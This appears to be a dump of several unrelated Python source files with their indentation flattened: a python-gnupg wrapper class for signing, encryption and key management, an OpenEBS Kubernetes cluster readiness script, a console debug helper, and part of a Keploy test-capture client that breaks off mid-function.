# falling back to utf-8, because gpg itself uses latin-1 as the default
# encoding.
self.encoding = 'latin-1'
if gnupghome and not os.path.isdir(self.gnupghome):
os.makedirs(self.gnupghome,0x1C0)
try:
p = self._open_subprocess(["--version"])
except OSError:
msg = 'Unable to run gpg (%s) - it may not be available.' % self.gpgbinary
logger.exception(msg)
raise OSError(msg)
result = self.result_map['verify'](self) # any result will do for this
self._collect_output(p, result, stdin=p.stdin)
if p.returncode != 0: # pragma: no cover
raise ValueError("Error invoking gpg: %s: %s" % (p.returncode,
result.stderr))
m = VERSION_RE.match(result.data)
if not m: # pragma: no cover
self.version = None
else:
dot = '.'.encode('ascii')
self.version = tuple([int(s) for s in m.groups()[0].split(dot)])
# See issue #97. It seems gpg allow duplicate keys in keyrings, so we
# can't be too strict.
self.check_fingerprint_collisions = False
def make_args(self, args, passphrase):
"""
Make a list of command line elements for GPG. The value of ``args``
will be appended. The ``passphrase`` argument needs to be True if
a passphrase will be sent to GPG, else False.
"""
cmd = [self.gpgbinary, '--status-fd', '2', '--no-tty', '--no-verbose']
if 'DEBUG_IPC' in os.environ:
cmd.extend(['--debug', 'ipc'])
if passphrase and hasattr(self, 'version'):
if self.version >= (2, 1):
cmd[1:1] = ['--pinentry-mode', 'loopback']
cmd.extend(['--fixed-list-mode', '--batch', '--with-colons'])
if self.gnupghome:
cmd.extend(['--homedir', no_quote(self.gnupghome)])
if self.keyring:
cmd.append('--no-default-keyring')
for fn in self.keyring:
cmd.extend(['--keyring', no_quote(fn)])
if self.secret_keyring:
for fn in self.secret_keyring:
cmd.extend(['--secret-keyring', no_quote(fn)])
if passphrase:
cmd.extend(['--passphrase-fd', '0'])
if self.use_agent: # pragma: no cover
cmd.append('--use-agent')
if self.options:
cmd.extend(self.options)
cmd.extend(args)
return cmd
def _open_subprocess(self, args, passphrase=False):
# Internal method: open a pipe to a GPG subprocess and return
# the file objects for communicating with it.
# def debug_print(cmd):
# result = []
# for c in cmd:
# if ' ' not in c:
# result.append(c)
# else:
# if '"' not in c:
# result.append('"%s"' % c)
# elif "'" not in c:
# result.append("'%s'" % c)
# else:
# result.append(c) # give up
# return ' '.join(cmd)
from subprocess import list2cmdline as debug_print
cmd = self.make_args(args, passphrase)
if self.verbose: # pragma: no cover
print(debug_print(cmd))
if not STARTUPINFO:
si = None
else: # pragma: no cover
si = STARTUPINFO()
si.dwFlags = STARTF_USESHOWWINDOW
si.wShowWindow = SW_HIDE
result = Popen(cmd, shell=False, stdin=PIPE, stdout=PIPE, stderr=PIPE,
startupinfo=si)
logger.debug("%s: %s", result.pid, debug_print(cmd))
return result
def _read_response(self, stream, result):
# Internal method: reads all the stderr output from GPG, taking notice
# only of lines that begin with the magic [GNUPG:] prefix.
#
# Calls methods on the response object for each valid token found,
# with the arg being the remainder of the status line.
lines = []
while True:
line = stream.readline()
if len(line) == 0:
break
lines.append(line)
line = line.rstrip()
if self.verbose: # pragma: no cover
print(line)
logger.debug("%s", line)
if line[0:9] == '[GNUPG:] ':
# Chop off the prefix
line = line[9:]
L = line.split(None, 1)
keyword = L[0]
if len(L) > 1:
value = L[1]
else:
value = ""
result.handle_status(keyword, value)
result.stderr = ''.join(lines)
def _read_data(self, stream, result, on_data=None):
# Read the contents of the file from GPG's stdout
chunks = []
while True:
data = stream.read(1024)
if len(data) == 0:
if on_data:
on_data(data)
break
logger.debug("chunk: %r" % data[:256])
append = True
if on_data:
append = on_data(data) != False
if append:
chunks.append(data)
if _py3k:
# Join using b'' or '', as appropriate
result.data = type(data)().join(chunks)
else:
result.data = ''.join(chunks)
def _collect_output(self, process, result, writer=None, stdin=None):
"""
Drain the subprocesses output streams, writing the collected output
to the result. If a writer thread (writing to the subprocess) is given,
make sure it's joined before returning. If a stdin stream is given,
close it before returning.
"""
stderr = codecs.getreader(self.encoding)(process.stderr)
rr = threading.Thread(target=self._read_response, args=(stderr, result))
rr.setDaemon(True)
logger.debug('stderr reader: %r', rr)
rr.start()
stdout = process.stdout
dr = threading.Thread(target=self._read_data, args=(stdout, result,
self.on_data))
dr.setDaemon(True)
logger.debug('stdout reader: %r', dr)
dr.start()
dr.join()
rr.join()
if writer is not None:
writer.join()
process.wait()
rc = process.returncode
if rc != 0:
logger.warning('gpg returned a non-zero error code: %d', rc)
if stdin is not None:
try:
stdin.close()
except IOError: # pragma: no cover
pass
stderr.close()
stdout.close()
def _handle_io(self, args, fileobj, result, passphrase=None, binary=False):
"Handle a call to GPG - pass input data, collect output data"
# Handle a basic data call - pass data to GPG, handle the output
# including status information. Garbage In, Garbage Out :)
p = self._open_subprocess(args, passphrase is not None)
if not binary: # pragma: no cover
stdin = codecs.getwriter(self.encoding)(p.stdin)
else:
stdin = p.stdin
if passphrase:
_write_passphrase(stdin, passphrase, self.encoding)
writer = _threaded_copy_data(fileobj, stdin)
self._collect_output(p, result, writer, stdin)
return result
#
# SIGNATURE METHODS
#
def sign(self, message, **kwargs):
"""sign message"""
f = _make_binary_stream(message, self.encoding)
result = self.sign_file(f, **kwargs)
f.close()
return result
def set_output_without_confirmation(self, args, output):
"If writing to a file which exists, avoid a confirmation message."
if os.path.exists(output):
# We need to avoid an overwrite confirmation message
args.extend(['--yes'])
args.extend(['--output', no_quote(output)])
def is_valid_passphrase(self, passphrase):
"""
Confirm that the passphrase doesn't contain newline-type characters -
it is passed in a pipe to gpg, and so not checking could lead to
spoofing attacks by passing arbitrary text after passphrase and newline.
"""
return ('\n' not in passphrase and '\r' not in passphrase and
'\x00' not in passphrase)
def sign_file(self, file, keyid=None, passphrase=None, clearsign=True,
detach=False, binary=False, output=None, extra_args=None):
"""sign file"""
if passphrase and not self.is_valid_passphrase(passphrase):
raise ValueError('Invalid passphrase')
logger.debug("sign_file: %s", file)
if binary: # pragma: no cover
args = ['-s']
else:
args = ['-sa']
# You can't specify detach-sign and clearsign together: gpg ignores
# the detach-sign in that case.
if detach:
args.append("--detach-sign")
elif clearsign:
args.append("--clearsign")
if keyid:
args.extend(['--default-key', no_quote(keyid)])
if output: # write the output to a file with the specified name
self.set_output_without_confirmation(args, output)
if extra_args:
args.extend(extra_args)
result = self.result_map['sign'](self)
#We could use _handle_io here except for the fact that if the
#passphrase is bad, gpg bails and you can't write the message.
p = self._open_subprocess(args, passphrase is not None)
try:
stdin = p.stdin
if passphrase:
_write_passphrase(stdin, passphrase, self.encoding)
writer = _threaded_copy_data(file, stdin)
except IOError: # pragma: no cover
logging.exception("error writing message")
writer = None
self._collect_output(p, result, writer, stdin)
return result
def verify(self, data, **kwargs):
"""Verify the signature on the contents of the string 'data'
>>> GPGBINARY = os.environ.get('GPGBINARY', 'gpg')
>>> if not os.path.isdir('keys'): os.mkdir('keys')
>>> gpg = GPG(gpgbinary=GPGBINARY, gnupghome='keys')
>>> input = gpg.gen_key_input(passphrase='foo')
>>> key = gpg.gen_key(input)
>>> assert key
>>> sig = gpg.sign('hello',keyid=key.fingerprint,passphrase='bar')
>>> assert not sig
>>> sig = gpg.sign('hello',keyid=key.fingerprint,passphrase='foo')
>>> assert sig
>>> verify = gpg.verify(sig.data)
>>> assert verify
"""
f = _make_binary_stream(data, self.encoding)
result = self.verify_file(f, **kwargs)
f.close()
return result
def verify_file(self, file, data_filename=None, close_file=True, extra_args=None):
"Verify the signature on the contents of the file-like object 'file'"
logger.debug('verify_file: %r, %r', file, data_filename)
result = self.result_map['verify'](self)
args = ['--verify']
if extra_args:
args.extend(extra_args)
if data_filename is None:
self._handle_io(args, file, result, binary=True)
else:
logger.debug('Handling detached verification')
import tempfile
fd, fn = tempfile.mkstemp(prefix='pygpg')
s = file.read()
if close_file:
file.close()
logger.debug('Wrote to temp file: %r', s)
os.write(fd, s)
os.close(fd)
args.append(no_quote(fn))
args.append(no_quote(data_filename))
try:
p = self._open_subprocess(args)
self._collect_output(p, result, stdin=p.stdin)
finally:
os.unlink(fn)
return result
def verify_data(self, sig_filename, data, extra_args=None):
"Verify the signature in sig_filename against data in memory"
logger.debug('verify_data: %r, %r ...', sig_filename, data[:16])
result = self.result_map['verify'](self)
args = ['--verify']
if extra_args:
args.extend(extra_args)
args.extend([no_quote(sig_filename), '-'])
stream = _make_memory_stream(data)
self._handle_io(args, stream, result, binary=True)
return result
#
# KEY MANAGEMENT
#
def import_keys(self, key_data, extra_args=None, passphrase=None):
"""
Import the key_data into our keyring.
"""
result = self.result_map['import'](self)
logger.debug('import_keys: %r', key_data[:256])
data = _make_binary_stream(key_data, self.encoding)
args = ['--import']
if extra_args:
args.extend(extra_args)
self._handle_io(args, data, result, passphrase=passphrase, binary=True)
logger.debug('import_keys result: %r', result.__dict__)
data.close()
return result
def recv_keys(self, keyserver, *keyids):
"""Import a key from a keyserver
>>> import shutil
>>> shutil.rmtree("keys", ignore_errors=True)
>>> GPGBINARY = os.environ.get('GPGBINARY', 'gpg')
>>> if not os.path.isdir('keys'): os.mkdir('keys')
>>> gpg = GPG(gpgbinary=GPGBINARY, gnupghome='keys')
>>> os.chmod('keys', 0x1C0)
>>> result = gpg.recv_keys('pgp.mit.edu', '92905378')
>>> if 'NO_EXTERNAL_TESTS' not in os.environ: assert result
"""
result = self.result_map['import'](self)
logger.debug('recv_keys: %r', keyids)
data = _make_binary_stream("", self.encoding)
#data = ""
args = ['--keyserver', no_quote(keyserver), '--recv-keys']
args.extend([no_quote(k) for k in keyids])
self._handle_io(args, data, result, binary=True)
logger.debug('recv_keys result: %r', result.__dict__)
data.close()
return result
def send_keys(self, keyserver, *keyids):
"""Send a key to a keyserver.
Note: it's not practical to test this function without sending
arbitrary data to live keyservers.
"""
result = self.result_map['send'](self)
logger.debug('send_keys: %r', keyids)
data = _make_binary_stream('', self.encoding)
#data = ""
args = ['--keyserver', no_quote(keyserver), '--send-keys']
args.extend([no_quote(k) for k in keyids])
self._handle_io(args, data, result, binary=True)
logger.debug('send_keys result: %r', result.__dict__)
data.close()
return result
def delete_keys(self, fingerprints, secret=False, passphrase=None,
expect_passphrase=True):
"""
Delete the indicated keys.
Since GnuPG 2.1, you can't delete secret keys without providing a
passphrase. However, if you're expecting the passphrase to go to gpg
via pinentry, you should specify expect_passphrase=False. (It's only
checked for GnuPG >= 2.1).
"""
if passphrase and not self.is_valid_passphrase(passphrase):
raise ValueError('Invalid passphrase')
which='key'
if secret: # pragma: no cover
if (self.version >= (2, 1) and passphrase is None and
expect_passphrase):
raise ValueError('For GnuPG >= 2.1, deleting secret keys '
'needs a passphrase to be provided')
which='secret-key'
if _is_sequence(fingerprints): # pragma: no cover
fingerprints = [no_quote(s) for s in fingerprints]
else:
fingerprints = [no_quote(fingerprints)]
args = ['--delete-%s' % which]
if secret and self.version >= (2, 1):
args.insert(0, '--yes')
args.extend(fingerprints)
result = self.result_map['delete'](self)
if not secret or self.version < (2, 1):
p = self._open_subprocess(args)
self._collect_output(p, result, stdin=p.stdin)
else:
# Need to send in a passphrase.
f = _make_binary_stream('', self.encoding)
try:
self._handle_io(args, f, result, passphrase=passphrase,
binary=True)
finally:
f.close()
return result
def export_keys(self, keyids, secret=False, armor=True, minimal=False,
passphrase=None, expect_passphrase=True):
"""
Export the indicated keys. A 'keyid' is anything gpg accepts.
Since GnuPG 2.1, you can't export secret keys without providing a
passphrase. However, if you're expecting the passphrase to go to gpg
via pinentry, you should specify expect_passphrase=False. (It's only
checked for GnuPG >= 2.1).
"""
if passphrase and not self.is_valid_passphrase(passphrase):
raise ValueError('Invalid passphrase')
which=''
if secret:
which='-secret-key'
if (self.version >= (2, 1) and passphrase is None and
expect_passphrase):
raise ValueError('For GnuPG >= 2.1, exporting secret keys '
'needs a passphrase to be provided')
if _is_sequence(keyids):
keyids = [no_quote(k) for k in keyids]
else:
keyids = [no_quote(keyids)]
args = ['--export%s' % which]
if armor:
args.append('--armor')
if minimal: # pragma: no cover
args.extend(['--export-options','export-minimal'])
args.extend(keyids)
# gpg --export produces no status-fd output; stdout will be
# empty in case of failure
#stdout, stderr = p.communicate()
result = self.result_map['export'](self)
if not secret or self.version < (2, 1):
p = self._open_subprocess(args)
self._collect_output(p, result, stdin=p.stdin)
else:
# Need to send in a passphrase.
f = _make_binary_stream('', self.encoding)
try:
self._handle_io(args, f, result, passphrase=passphrase,
binary=True)
finally:
f.close()
logger.debug('export_keys result[:100]: %r', result.data[:100])
# Issue #49: Return bytes if armor not specified, else text
result = result.data
if armor:
result = result.decode(self.encoding, self.decode_errors)
return result
def _get_list_output(self, p, kind):
# Get the response information
result = self.result_map[kind](self)
self._collect_output(p, result, stdin=p.stdin)
lines = result.data.decode(self.encoding,
self.decode_errors).splitlines()
valid_keywords = 'pub uid sec fpr sub ssb sig'.split()
for line in lines:
if self.verbose: # pragma: no cover
print(line)
logger.debug("line: %r", line.rstrip())
if not line: # pragma: no cover
break
L = line.strip().split(':')
if not L: # pragma: no cover
continue
keyword = L[0]
if keyword in valid_keywords:
getattr(result, keyword)(L)
return result
def list_keys(self, secret=False, keys=None, sigs=False):
""" list the keys currently in the keyring
>>> import shutil
>>> shutil.rmtree("keys", ignore_errors=True)
>>> GPGBINARY = os.environ.get('GPGBINARY', 'gpg')
>>> if not os.path.isdir('keys'): os.mkdir('keys')
>>> gpg = GPG(gpgbinary=GPGBINARY, gnupghome='keys')
>>> input = gpg.gen_key_input(passphrase='foo')
>>> result = gpg.gen_key(input)
>>> fp1 = result.fingerprint
>>> result = gpg.gen_key(input)
>>> fp2 = result.fingerprint
>>> pubkeys = gpg.list_keys()
>>> assert fp1 in pubkeys.fingerprints
>>> assert fp2 in pubkeys.fingerprints
"""
if sigs:
which = 'sigs'
else:
which = 'keys'
if secret:
which='secret-keys'
args = ['--list-%s' % which,
'--fingerprint', '--fingerprint'] # get subkey FPs, too
if keys:
if isinstance(keys, string_types):
keys = [keys]
args.extend(keys)
p = self._open_subprocess(args)
return self._get_list_output(p, 'list')
def scan_keys(self, filename):
"""
List details of an ascii armored or binary key file
without first importing it to the local keyring.
The function achieves this on modern GnuPG by running:
$ gpg --dry-run --import-options import-show --import
On older versions, it does the *much* riskier:
$ gpg --with-fingerprint --with-colons filename
"""
if self.version >= (2, 1):
args = ['--dry-run', '--import-options', 'import-show', '--import']
else:
logger.warning('Trying to list packets, but if the file is not a '
'keyring, might accidentally decrypt')
args = ['--with-fingerprint', '--with-colons', '--fixed-list-mode']
args.append(no_quote(filename))
p = self._open_subprocess(args)
return self._get_list_output(p, 'scan')
def search_keys(self, query, keyserver='pgp.mit.edu'):
""" search keyserver by query (using --search-keys option)
>>> import shutil
>>> shutil.rmtree('keys', ignore_errors=True)
>>> GPGBINARY = os.environ.get('GPGBINARY', 'gpg')
>>> if not os.path.isdir('keys'): os.mkdir('keys')
>>> gpg = GPG(gpgbinary=GPGBINARY, gnupghome='keys')
>>> os.chmod('keys', 0x1C0)
>>> result = gpg.search_keys('<vinay_sajip@hotmail.com>')
>>> if 'NO_EXTERNAL_TESTS' not in os.environ: assert result, 'Failed using default keyserver'
>>> #keyserver = 'keyserver.ubuntu.com'
>>> #result = gpg.search_keys('<vinay_sajip@hotmail.com>', keyserver)
>>> #assert result, 'Failed using keyserver.ubuntu.com'
"""
query = query.strip()
if HEX_DIGITS_RE.match(query):
query = '0x' + query
args = ['--fingerprint',
'--keyserver', no_quote(keyserver), '--search-keys',
no_quote(query)]
p = self._open_subprocess(args)
# Get the response information
result = self.result_map['search'](self)
self._collect_output(p, result, stdin=p.stdin)
lines = result.data.decode(self.encoding,
self.decode_errors).splitlines()
valid_keywords = ['pub', 'uid']
for line in lines:
if self.verbose: # pragma: no cover
print(line)
logger.debug('line: %r', line.rstrip())
if not line: # sometimes get blank lines on Windows
continue
L = line.strip().split(':')
if not L: # pragma: no cover
continue
keyword = L[0]
if keyword in valid_keywords:
getattr(result, keyword)(L)
return result
def gen_key(self, input):
"""Generate a key; you might use gen_key_input() to create the
control input.
>>> GPGBINARY = os.environ.get('GPGBINARY', 'gpg')
>>> if not os.path.isdir('keys'): os.mkdir('keys')
>>> gpg = GPG(gpgbinary=GPGBINARY, gnupghome='keys')
>>> input = gpg.gen_key_input(passphrase='foo')
>>> result = gpg.gen_key(input)
>>> assert result
>>> result = gpg.gen_key('foo')
>>> assert not result
"""
args = ["--gen-key"]
result = self.result_map['generate'](self)
f = _make_binary_stream(input, self.encoding)
self._handle_io(args, f, result, binary=True)
f.close()
return result
def gen_key_input(self, **kwargs):
"""
Generate --gen-key input per gpg doc/DETAILS
"""
parms = {}
no_protection = kwargs.pop('no_protection', False)
for key, val in list(kwargs.items()):
key = key.replace('_','-').title()
if str(val).strip(): # skip empty strings
parms[key] = val
parms.setdefault('Key-Type','RSA')
if 'key_curve' not in kwargs:
parms.setdefault('Key-Length',2048)
parms.setdefault('Name-Real', "Autogenerated Key")
logname = (os.environ.get('LOGNAME') or os.environ.get('USERNAME') or
'unspecified')
hostname = socket.gethostname()
parms.setdefault('Name-Email', "%s@%s" % (logname.replace(' ', '_'),
hostname))
out = "Key-Type: %s\n" % parms.pop('Key-Type')
for key, val in list(parms.items()):
out += "%s: %s\n" % (key, val)
if no_protection:
out += '%no-protection\n'
out += "%commit\n"
return out
# Key-Type: RSA
# Key-Length: 1024
# Name-Real: ISdlink Server on %s
# Name-Comment: Created by %s
# Name-Email: isdlink@%s
# Expire-Date: 0
# %commit
#
#
# Key-Type: DSA
# Key-Length: 1024
# Subkey-Type: ELG-E
# Subkey-Length: 1024
# Name-Real: Joe Tester
# Name-Comment: with stupid passphrase
# Name-Email: joe@foo.bar
# Expire-Date: 0
# Passphrase: abc
# %pubring foo.pub
# %secring foo.sec
# %commit
#
# ENCRYPTION
#
def encrypt_file(self, file, recipients, sign=None,
always_trust=False, passphrase=None,
armor=True, output=None, symmetric=False, extra_args=None):
"Encrypt the message read from the file-like object 'file'"
if passphrase and not self.is_valid_passphrase(passphrase):
raise ValueError('Invalid passphrase')
args = ['--encrypt']
if symmetric:
# can't be False or None - could be True or a cipher algo value
# such as AES256
args = ['--symmetric']
if symmetric is not True:
args.extend(['--cipher-algo', no_quote(symmetric)])
# else use the default, currently CAST5
else:
if not recipients:
raise ValueError('No recipients specified with asymmetric '
'encryption')
if not _is_sequence(recipients):
recipients = (recipients,)
for recipient in recipients:
args.extend(['--recipient', no_quote(recipient)])
if armor: # create ascii-armored output - False for binary output
args.append('--armor')
if output: # write the output to a file with the specified name
self.set_output_without_confirmation(args, output)
if sign is True: # pragma: no cover
args.append('--sign')
elif sign: # pragma: no cover
args.extend(['--sign', '--default-key', no_quote(sign)])
if always_trust: # pragma: no cover
args.append('--always-trust')
if extra_args:
args.extend(extra_args)
result = self.result_map['crypt'](self)
self._handle_io(args, file, result, passphrase=passphrase, binary=True)
logger.debug('encrypt result[:100]: %r', result.data[:100])
return result
def encrypt(self, data, recipients, **kwargs):
"""Encrypt the message contained in the string 'data'
>>> import shutil
>>> if os.path.exists("keys"):
... shutil.rmtree("keys", ignore_errors=True)
>>> GPGBINARY = os.environ.get('GPGBINARY', 'gpg')
>>> if not os.path.isdir('keys'): os.mkdir('keys')
>>> gpg = GPG(gpgbinary=GPGBINARY, gnupghome='keys')
>>> input = gpg.gen_key_input(name_email='user1@test', passphrase='pp1')
>>> result = gpg.gen_key(input)
>>> fp1 = result.fingerprint
>>> input = gpg.gen_key_input(name_email='user2@test', passphrase='pp2')
>>> result = gpg.gen_key(input)
>>> fp2 = result.fingerprint
>>> result = gpg.encrypt("hello",fp2)
>>> message = str(result)
>>> assert message != 'hello'
>>> result = gpg.decrypt(message, passphrase='pp2')
>>> assert result
>>> str(result)
'hello'
>>> result = gpg.encrypt("hello again", fp1)
>>> message = str(result)
>>> result = gpg.decrypt(message, passphrase='bar')
>>> result.status in ('decryption failed', 'bad passphrase')
True
>>> assert not result
>>> result = gpg.decrypt(message, passphrase='pp1')
>>> result.status == 'decryption ok'
True
>>> str(result)
'hello again'
>>> result = gpg.encrypt("signed hello", fp2, sign=fp1, passphrase='pp1')
>>> result.status == 'encryption ok'
True
>>> message = str(result)
>>> result = gpg.decrypt(message, passphrase='pp2')
>>> result.status == 'decryption ok'
True
>>> assert result.fingerprint == fp1
"""
data = _make_binary_stream(data, self.encoding)
result = self.encrypt_file(data, recipients, **kwargs)
data.close()
return result
def decrypt(self, message, **kwargs):
data = _make_binary_stream(message, self.encoding)
result = self.decrypt_file(data, **kwargs)
data.close()
return result
def decrypt_file(self, file, always_trust=False, passphrase=None,
output=None, extra_args=None):
if passphrase and not self.is_valid_passphrase(passphrase):
raise ValueError('Invalid passphrase')
args = ["--decrypt"]
if output: # write the output to a file with the specified name
self.set_output_without_confirmation(args, output)
if always_trust: # pragma: no cover
args.append("--always-trust")
if extra_args:
args.extend(extra_args)
result = self.result_map['crypt'](self)
self._handle_io(args, file, result, passphrase, binary=True)
logger.debug('decrypt result[:100]: %r', result.data[:100])
return result
def trust_keys(self, fingerprints, trustlevel):
levels = Verify.TRUST_LEVELS
if trustlevel not in levels:
poss = ', '.join(sorted(levels))
raise ValueError('Invalid trust level: "%s" (must be one of %s)' %
(trustlevel, poss))
trustlevel = levels[trustlevel] + 2
import tempfile
try:
fd, fn = tempfile.mkstemp()
lines = []
if isinstance(fingerprints, string_types):
fingerprints = [fingerprints]
for f in fingerprints:
lines.append('%s:%s:' % (f, trustlevel))
# The trailing newline is required!
s = os.linesep.join(lines) + os.linesep
logger.debug('writing ownertrust info: %s', s);
os.write(fd, s.encode(self.encoding))
os.close(fd)
result = self.result_map['trust'](self)
p = self._open_subprocess(['--import-ownertrust', fn])
self._collect_output(p, result, stdin=p.stdin)
if p.returncode != 0:
raise ValueError('gpg returned an error - return code %d' %
p.returncode)
finally:
os.remove(fn)
return result
|
cluster_health_check.py
|
# Copyright 2018 The OpenEBS Authors
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License
#
# Info:
# This Python script can be used to check the cluster readiness over multiple Clouds
# providers like GCE, GKE and AWS with any number of nodes. Script does a series of
# api calls to the kubernetes cluster, by utilising the Python client library for kubernetes.
# Script terminates successfully once cluster is up or else fails after a T/O period of 900 seconds
# To run the script: `python cluster_health_check.py --nodes 4`
from kubernetes import client, config
import multiprocessing
import time
import argparse
import sys
def create_api():
while True:
try:
v1 = client.CoreV1Api()
break
except Exception :
time.sleep(30)
return v1
def get_nodes(node_count):
v1 = create_api()
while True:
try:
getNodes = v1.list_node()
if len(getNodes.items) == int(node_count):
return getNodes.items
except Exception :
time.sleep(30)
def get_node_status(node_count):
count = 0
nodes = get_nodes(node_count)
for node in nodes:
obj = node.status.conditions
for i in obj:
if i.type == 'Ready':
count = count + 1
return count
def checkCluster(node_count):
while True:
try:
count = get_node_status(node_count)
if count == int(node_count):
break
except Exception :
time.sleep(30)
print('Cluster is Up and Running')
def get_kube_config():
while True:
try:
config.load_kube_config()
break
except Exception :
time.sleep(30)
def get_args():
parser = argparse.ArgumentParser()
# Pass total node count including master node in the cluster iusing flag -n or --nodes
parser.add_argument('-n', '--nodes', help='Node or Size of cluster', required=True)
args = parser.parse_args()
return args.nodes
def init():
nodes = get_args()
get_kube_config()
while True:
try:
checkCluster(nodes)
return exit
except Exception :
time.sleep(30)
if __name__ == '__main__':
p = multiprocessing.Process(target=init, name="main")
p.start()
timeElapsed = 0
timeOut = 900
while(True):
if p.is_alive() is False:
p.terminate()
sys.exit(0)
# Setting Timeout to 900 seconds
elif timeElapsed == timeOut:
print "Error: time out! Program terminated after", timeOut, "seconds"
p.terminate()
sys.exit(1)
time.sleep(1)
timeElapsed += 1
|
debug.py
|
import sys
import time
import threading
class Debug(object):
def __init__(self, arg):
super(Debug, self).__init__()
self.debug_verbose = arg
self.stop_spinner = False
def log(self, text, log=False, pre=True, new=False):
if log and pre:
if new: print(f"\n\033[1;34m[i]\033[0m {text}")
if not new: print(f"\033[1;34m[i]\033[0m {text}")
elif log and not pre:
print(f"{text}")
elif self.debug_verbose:
print(f"[DEBUG] {text}")
def good(self, text):
print("\033[1;32m[+]\033[0m", text)
def error(self, text):
print("\033[1;31m[!]\033[0m", text)
def do_spinner(self, text):
spin = ["|", "/", "-", "\\"]
self.stop_spinner = False
while self.stop_spinner == False:
for s in spin:
sys.stdout.write(f"\r\033[1;34m[i]\033[0m {text} {s} \r")
time.sleep(0.1)
sys.stdout.write("\r")
def spinner(self, text):
spin_thread = threading.Thread(target=self.do_spinner, args=(text,))
spin_thread.daemon = False
spin_thread.start()
|
keploy.py
|
import json
import logging
import http.client
import re
import threading
import time
from typing import Iterable, List, Mapping, Optional, Sequence
from keploy.mode import getMode
from keploy.constants import MODE_TEST, USE_HTTPS
from keploy.models import Config, Dependency, HttpResp, TestCase, TestCaseRequest, TestReq
class Keploy(object):
def __init__(self, conf:Config) -> None:
if not isinstance(conf, Config):
raise TypeError("Please provide a valid keploy configuration.")
logger = logging.getLogger('keploy')
logger.setLevel(logging.DEBUG)
self._config = conf
self._logger = logger
self._dependencies = {}
self._responses = {}
self._client = None
if self._config.server.protocol == USE_HTTPS:
self._client = http.client.HTTPSConnection(host=self._config.server.url, port=self._config.server.port)
else:
self._client = http.client.HTTPConnection(host=self._config.server.url, port=self._config.server.port)
# self._client.connect()
if getMode() == MODE_TEST:
t = threading.Thread(target=self.test)
t.start()
def get_dependencies(self, id: str) -> Optional[Iterable[Dependency]]:
return self._dependencies.get(id, None)
def get_resp(self, t_id: str) -> Optional[HttpResp]:
return self._responses.get(t_id, None)
def put_resp(self, t_id:str, resp: HttpResp) -> None:
self._responses[t_id] = resp
def capture(self, request:TestCaseRequest):
self.put(request)
def start(self, total:int) -> Optional[str]:
try:
headers = {'Content-type': 'application/json', 'key': self._config.server.licenseKey}
self._client.request("GET", "/{}/regression/start?app={}&total={}".format(self._config.server.suffix, self._config.app.name, total), None, headers)
response = self._client.getresponse()
if response.status != 200:
self._logger.error("Error occured while fetching start information. Please try again.")
return
body = json.loads(response.read().decode())
if body.get('id', None):
return body['id']
self._logger.error("failed to start operation.")
return
except:
self._logger.error("Exception occured while starting the test case run.")
def end(self, id:str, status:bool) -> None:
try:
headers = {'Content-type': 'application/json', 'key': self._config.server.licenseKey}
self._client.request("GET", "/{}/regression/end?id={}&status={}".format(self._config.server.suffix, id, status), None, headers)
response = self._client.getresponse()
if response.status != 200:
self._logger.error("failed to perform end operation.")
return
except:
self._logger.error("Exception occured while ending the test run.")
def put(self, rq: TestCaseRequest):
try:
filters = self._config.app.filters
if filters:
match = re.search(filters.urlRegex, rq.uri)
if match:
return None
headers = {'Content-type': 'application/json', 'key': self._config.server.licenseKey}
bytes_data = json.dumps(rq, default=lambda o: o.__dict__).encode()
self._client.request("POST", "/{}/regression/testcase".format(self._config.server.suffix), bytes_data, headers)
response = self._client.getresponse()
if response.status != 200:
self._logger.error("failed to send testcase to backend")
body = json.loads(response.read().decode())
if body.get('id', None):
self.denoise(body['id'], rq)
except:
self._logger.error("Exception occured while storing the request information. Try again.")
def denoise(self, id:str, tcase:TestCaseRequest):
try:
unit = TestCase(id=id, captured=tcase.captured, uri=tcase.uri, http_req=tcase.http_req, http_resp={}, deps=tcase.deps)
res = self.simulate(unit)
if not res:
self._logger.error("failed to simulate request while denoising")
return
headers = {'Content-type': 'application/json', 'key': self._config.server.licenseKey}
bin_data = json.dumps(TestReq(id=id, app_id=self._config.app.name, resp=res), default=lambda o: o.__dict__).encode()
self._client.request("POST", "/{}/regression/denoise".format(self._config.server.suffix), bin_data, headers)
response = self._client.getresponse()
if response.status != 200:
self._logger.error("failed to de-noise request to backend")
body = response.read().decode()
except:
self._logger.error("Error occured while denoising the test case request. Skipping...")
def simulate(self, test_case:TestCase) -> Optional[HttpResp]:
try:
self._dependencies[test_case.id] = test_case.deps
heads = test_case.http_req.header
heads['KEPLOY_TEST_ID'] = [test_case.id]
cli = http.client.HTTPConnection(self._config.app.host, self._config.app.port)
cli._http_vsn = int(str(test_case.http_req.proto_major) + str(test_case.http_req.proto_minor))
cli._http_vsn_str = 'HTTP/{}.{}'.format(test_case.http_req.proto_major, test_case.http_req.proto_minor)
cli.request(
method=test_case.http_req.method,
url=self._config.app.suffix + test_case.http_req.url,
body=json.dumps(test_case.http_req.body).encode(),
headers={key: value[0] for key, value in heads.items()}
)
time.sleep(2.0)
# TODO: getting None in case of regular execution. Urgent fix needed.
response = self.get_resp(test_case.id)
if not response or not self._responses.pop(test_case.id, None):
self._logger.error("failed loading the response for testcase.")
return
self._dependencies.pop(test_case.id, None)
cli.close()
return response
except Exception as e:
self._logger.exception("Exception occured in simulation of test case with id: %s" %test_case.id)
def check(self, r_id:str, tc: TestCase) -> bool:
try:
resp = self.simulate(tc)
if not resp:
self._logger.error("failed to simulate request on local server.")
return False
headers = {'Content-type': 'application/json', 'key': self._config.server.licenseKey}
bytes_data = json.dumps(TestReq(id=tc.id, app_id=self._config.app.name, run_id=r_id, resp=resp), default=lambda o: o.__dict__).encode()
self._client.request("POST", "/{}/regression/test".format(self._config.server.suffix), bytes_data, headers)
response = self._client.getresponse()
if response.status != 200:
self._logger.error("failed to read response from backend")
body = json.loads(response.read().decode())
if body.get('pass', False):
return body['pass']
return False
except:
self._logger.exception("[SKIP] Failed to check testcase with id: %s" %tc.id)
return False
def get(self, id:str) -> Optional[TestCase]:
try:
headers = {'Content-type': 'application/json', 'key': self._config.server.licenseKey}
self._client.request("GET", "/{}/regression/testcase/{}".format(self._config.server.suffix, id), None, headers)
response = self._client.getresponse()
if response.status != 200:
self._logger.error("failed to get request.")
body = json.loads(response.read().decode())
